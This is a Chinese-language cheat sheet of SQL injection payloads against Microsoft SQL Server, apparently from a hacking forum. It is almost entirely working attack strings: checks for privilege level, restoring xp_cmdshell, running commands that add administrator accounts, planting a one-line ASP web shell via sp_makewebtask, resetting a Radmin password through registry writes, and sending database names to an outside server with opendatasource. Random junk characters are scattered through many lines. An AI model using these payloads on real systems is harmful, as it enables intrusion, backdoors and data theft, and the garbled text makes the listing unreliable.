阿D常用的一些注入命令. K7 z& J# N$ ^! h& p0 `' d
//看看是什么权限的
' B* q6 k/ a1 j- Qand 1=(Select IS_MEMBER('db_owner'))8 H6 @; V5 ]. ]
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--$ c) Z+ r- A: C5 ]6 j
3 K& [9 j- W0 X) z* G0 B" C//检测是否有读取某数据库的权限9 i) b0 a9 X; H$ i) S& P
and 1= (Select HAS_DBACCESS('master')) t4 A) ~9 f3 Y
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --6 }( ~0 r+ j- Y/ y p) U
* w5 t E6 S# g- t3 }2 a4 x
; B Q' C+ q2 t数字类型6 b* S; y' _2 }, v' j Y1 E: c3 B
and char(124)%2Buser%2Bchar(124)=0* \0 z3 w9 T* @6 T! w
; Q# }0 ?! O) [
字符类型1 p# [% g$ j4 P+ t2 ~& B2 f
' and char(124)%2Buser%2Bchar(124)=0 and ''='
7 A4 }4 u$ R0 e+ f7 D
7 B) M9 d, g0 A W搜索类型. z1 ], c5 i% {$ i( j2 f
' and char(124)%2Buser%2Bchar(124)=0 and '%'='& [; U" @1 k- ?% p
- o/ u5 d; O( Z" r爆用户名' {' r+ J) K2 L Y. t
and user>0$ g3 ?' ?, q9 \/ }, M$ k* e
' and user>0 and ''='
, M( ^' x$ E9 O, J; f. |/ G5 x5 R9 A- h6 Q
检测是否为SA权限" @5 R% }/ l# @5 J; y
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
# X( D) K. P3 V# e( a( x( UAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --! }1 D; u, P2 M, R! x7 R2 `
# b' M$ r9 p" o7 `: k4 Z# P
检测是不是MSSQL数据库
+ P# [, Z, X' F5 y' _5 b* jand exists (select * from sysobjects);-- ' z0 c! d! `; u9 a7 Q8 I4 z& q/ _ }
! E( y4 a& F8 E5 _0 H
检测是否支持多行
T) w( @/ R# |7 j% X;declare @d int;-- / s. V( [" P0 G. r( }/ B) g7 d0 ?. _
& N0 G6 y+ M. j
恢复 xp_cmdshell% n* w% N* s" k. B
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--& N6 R) a; @' r
/ G+ U6 b2 n( {7 y2 j/ f# i: e; F' S3 ~& R/ x' _( g
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') : P7 x/ l& c, q/ v/ W3 Q; Y3 \
; t7 z* O( R, I
//-----------------------2 f' y5 E a f! f. M( M
// 执行命令( W9 ?6 `5 B: N6 r, l/ a, v$ ^
//-----------------------% f! m4 x5 }) k& w* I
首先开启沙盘模式:
$ p- o4 P& {* u( R4 nexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
% Q! X1 I1 |' z! R$ t( X$ c, c/ I
. Q6 ]5 \( d& U( u然后利用jet.oledb执行系统命令0 }0 S# \5 ]$ u) ?8 a0 E
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
3 g% }2 V5 K' t; R I
' k6 q( Q# s* q n执行命令
1 s0 v4 l; o& d3 y0 y- d1 Z3 ~;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
% U, g1 _* v. S3 g" ?: P: v9 ?( z( y/ a! x4 e2 a1 L4 c* N: Z! Q
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'4 v0 u. l8 _: L& Q( i0 } ?2 T
4 {2 k4 D8 B) }% `1 L+ A
判断xp_cmdshell扩展存储过程是否存在:
! ]- U) d+ Q* A/ whttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
2 ^ |! B- ]/ n: d) C' z6 @
2 ?5 u( N X; }5 l写注册表
5 T5 N9 B s! |7 eexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
. p9 w2 Q% `0 N+ A- w+ i& G) M$ V, B
% X) X' m, T8 B3 P7 tREG_SZ4 l* w3 r- }/ i
: Z7 g7 G. l4 ?( j$ u4 K
读注册表1 j; v1 v5 W# S. a1 Z9 D
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
s2 F% P" F: E
& R) g3 Q( f. `4 v; w* _读取目录内容
! A1 ?: Q1 B3 _7 Uexec master..xp_dirtree 'c:\winnt\system32\',1,14 r8 d# l$ |& `: e! V% J9 F
! E+ f6 `, a X" y5 J5 q" N9 i$ q$ D* N% p1 P5 O% p
数据库备份6 z9 I/ _, J% f/ i
backup database pubs to disk = 'c:\123.bak'
) X: F4 h0 V! e9 X5 t) R+ A8 l# c5 U! m, n* ^& i
//爆出长度+ O8 v1 R9 m& |9 d- n+ i( V
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
3 [, w6 _# d0 ^& B* ~( }- p% f( B, L- t1 T: N* m1 K" Y$ O% W$ l
4 Y5 A0 a& Z9 G5 a& K
/ p$ V9 f. M! z% d
更改sa口令方法:用sql综合利用工具连接后,执行命令:
/ G4 t2 S" y" \exec sp_password NULL,'新密码','sa': S, o7 W" S& Y# \$ i; R
/ t0 x& }+ Q5 o, k5 U& n9 k# C( w
添加和删除一个SA权限的用户test:0 q3 ~, J7 j; f% B) Q
exec master.dbo.sp_addlogin test,ptlove
/ d, x) w( K- N$ y# Bexec master.dbo.sp_addsrvrolemember test,sysadmin. w& z1 z$ M' x* |1 f% s \
& Y9 v7 {/ U( L# Y
删除扩展存储过过程xp_cmdshell的语句:
5 Y1 O {3 y' l& s( l7 S- W1 q1 bexec sp_dropextendedproc 'xp_cmdshell'
; [8 j. F% W+ p. G0 j# ~6 d
! {1 A/ v' j: F% v! O* A2 i( t添加扩展存储过过程
+ R& x2 a/ e( T6 BEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' * [, c' g# p+ Q, y
GRANT exec On xp_proxiedadata TO public J& u% M8 e. a- }
) s& {% K" X& k! U( N2 v
- c& C% W5 X! _( @% Q停掉或激活某个服务。
8 R* ~" k' Z% B# B- l% G: A, M' k/ |6 F1 t# ]3 B
exec master..xp_servicecontrol 'stop','schedule'
( O0 B" o/ z) F: a K3 [exec master..xp_servicecontrol 'start','schedule'! d, F& W! M: ]8 ]; Z
% }, W2 D5 s& o5 k: g( G! |
dbo.xp_subdirs% P# S3 c$ t8 U! J+ q2 T
M% h' V& K& Z. H) a只列某个目录下的子目录。
, J; l5 c2 o4 f5 d' n/ l9 Qxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
# ~, ]1 c8 M/ a' g7 i) i) [6 K v' \. ? p& @( u8 w a$ A- T
dbo.xp_makecab
- S2 N; `3 G0 W, G1 d3 a/ K! \5 _8 n- M! F. x$ I/ i% o5 s% K
将目标多个档案压缩到某个目标档案之内。' N9 H: d7 w! U# B6 A. i g/ g
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。; ]: r% W$ M' j$ V6 |& P
, N9 k4 O3 N/ [8 V
dbo.xp_makecab6 E1 ?' n* X& C1 }4 P& M$ ]
'c:\test.cab','mszip',1,
, k( L1 K8 N2 f5 s1 A'C:\Inetpub\wwwroot\SQLInject\login.asp',
8 _; G% _3 r( [. N! Y- Y0 z; V, N: a'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'5 K$ d3 r) X; `6 V" G$ t/ j5 C# M, i
6 b \, |& z5 txp_terminate_process K- ^) p; k1 \# W
8 v% H6 q$ i2 `9 _% k# ]+ d8 R
停掉某个执行中的程序,但赋予的参数是 Process ID。( [" e2 r+ b8 H4 P; d
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
" p. R. K# z8 V8 r
; G# P$ l$ e% x- h: B% ^2 Y/ ^9 hxp_terminate_process 24841 v- D# h7 t+ U4 K
# h3 P# U7 s& v5 Y ~5 H3 yxp_unpackcab' \* f8 _' O' b4 o7 v
8 p, V) a" f" A$ i2 `
解开压缩档。
) P! R+ W/ E3 V9 E- ?+ h: H
7 Z+ @2 P, z7 T( U# ?0 j8 Z1 Zxp_unpackcab 'c:\test.cab','c:\temp',1# I" b) c1 v& X# W( _0 _1 m
( @, f4 `7 L& ^1 v+ R8 k" I& l7 P
# \1 y) |, ^( v8 E" R6 k9 K2 k" j5 h某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
/ j U, e7 f7 s/ V0 E" p d+ Z0 _
" g3 ]6 p% i$ a0 M# ucreate database lcx;- J! N; I4 T' h7 q
Create TABLE ku(name nvarchar(256) null);4 w% C& {3 l& Z j' X! ^5 m
Create TABLE biao(id int NULL,name nvarchar(256) null);* B( I) O) o$ i
( N8 Z) ~# ^$ E$ C//得到数据库名( u+ M3 K7 `5 N+ ?
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
$ p9 {+ ~1 d* C
8 ]6 @) H% x6 l# W1 {% K+ @
7 }' R4 i( _0 z, U$ d+ b/ e//在Master中创建表,看看权限怎样
$ u( o1 t0 X$ QCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
, B% X6 P% o+ E8 S% Z' n; Q8 o/ A: l8 q3 z& S! J- V
用 sp_makewebtask直接在web目录里写入一句话马:0 b/ B/ V$ G7 u/ h
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--6 t5 d, k. Z4 L, a' [; R
) m) U; X/ y3 J! L& w
//更新表内容
+ U0 Z( a J5 a2 n% FUpdate films SET kind = 'Dramatic' Where id = 123
! W# D3 J) K8 f6 \' c$ G- c
8 |( H, w! z: J" T$ @4 V//删除内容
6 k% C+ D0 }) n6 n0 k4 Q. jdelete from table_name where Stockid = 3 |